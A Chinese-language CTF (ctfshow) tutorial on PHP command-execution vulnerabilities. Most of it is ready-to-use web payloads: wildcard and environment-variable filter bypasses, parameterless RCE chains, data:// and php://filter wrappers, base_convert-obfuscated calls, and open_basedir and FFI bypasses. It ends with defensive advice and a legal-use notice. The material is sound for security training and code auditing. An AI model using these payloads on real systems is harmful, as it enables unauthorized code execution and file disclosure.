php代码审计前奏之ctfshow之命令执行
字数 855 2025-08-15 21:33:24
PHP代码审计与CTF命令执行绕过技术详解
一、基础命令执行漏洞
1. 基本漏洞原理
- PHP中危险函数:
system(),passthru(),exec(),shell_exec(),popen(),proc_open(),pcntl_exec(), 反引号(``) - 典型漏洞代码:
if(isset($_GET['c'])){
$c=$_GET['c'];
eval($c); // 或 system($c);
}
2. 基础绕过技术
过滤关键字绕过
-
通配符绕过:
*匹配任意多个字符?匹配单个字符[a-z]匹配范围- 示例:
?c=system('cat *'); ?c=system('cat fl?g.php'); ?c=system('cat f[a-z]ag.php');
-
转义和拼接:
?c=system('cat fla\g.php'); ?c=system('cat fla''g.php');
文件包含绕过
?c=echo "hello";?><?php include($_GET['a']);&a=php://filter/read=convert.base64-encode/resource=flag.php
二、进阶过滤与绕过技术
1. 过滤空格
- 替代方案:
${IFS} $IFS$9 %09 (Tab) < 或 <> {cat,flag.php} // 用逗号代替空格
2. 过滤cat
- 替代命令:
more, less, head, tac, tail, nl, od, vi, vim, sort, uniq, file -f, grep, paste
3. 过滤分号
- 使用换行符
%0a:?c=ls%0a ?c=tac flag.php%0a
4. 过滤数字
- 使用
${#?}或${##}表示1 - 使用
$?获取错误码构造数字
5. 过滤字母
-
利用环境变量构造:
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} // 构造nl ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~A} // 构造/bin/cat -
通配符构造路径:
/???/??t // 匹配/bin/cat /???/r?? // 匹配/bin/rev
三、无参数RCE技术
1. 基本方法
readfile(next(array_reverse(scandir(getcwd()))));
readfile(array_rand(array_flip(scandir(getcwd()))));
2. 利用session
session_start();system(session_id());
3. 利用localeconv
show_source(next(array_reverse(scandir(pos(localeconv())))));
四、伪协议利用
1. data协议
?c=data://text/plain,<?php system('cat *');?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
2. php://filter
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
五、数学函数构造payload
1. 利用base_convert
$pi=base_convert(37907361743,10,36)(dechex(1598506324));
(
$$
pi{abs})(
$$
pi{acos})&abs=system&acos=cat flag.php
2. 构造getallheaders
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
3. 直接构造命令
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
六、特殊场景绕过
1. 输出被过滤
c=var_export(scandir('/'));exit(0);
2. open_basedir绕过
$it=new DirectoryIterator("glob:///*");
foreach($it as $f) {echo $f->getFilename()."\n";}
die();
3. FFI绕过
$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
七、Linux环境变量利用
1. 环境变量基础知识
echo $PATH查看PATH变量${PATH:1:1}截取字符串${#PATH}获取字符串长度
2. 构造payload
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}}?${PATH:${#RANDOM}:${#SHLVL}}
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}
八、防御建议
- 使用白名单而非黑名单过滤
- 禁用危险函数:
disable_functions配置 - 严格过滤输入,包括特殊字符和编码
- 设置
open_basedir限制文件访问范围 - 使用安全函数替代危险函数,如
escapeshellarg()
本教程涵盖了从基础到高级的PHP命令执行绕过技术,适用于CTF比赛和实际代码审计场景。使用时请遵守法律法规,仅用于合法授权测试。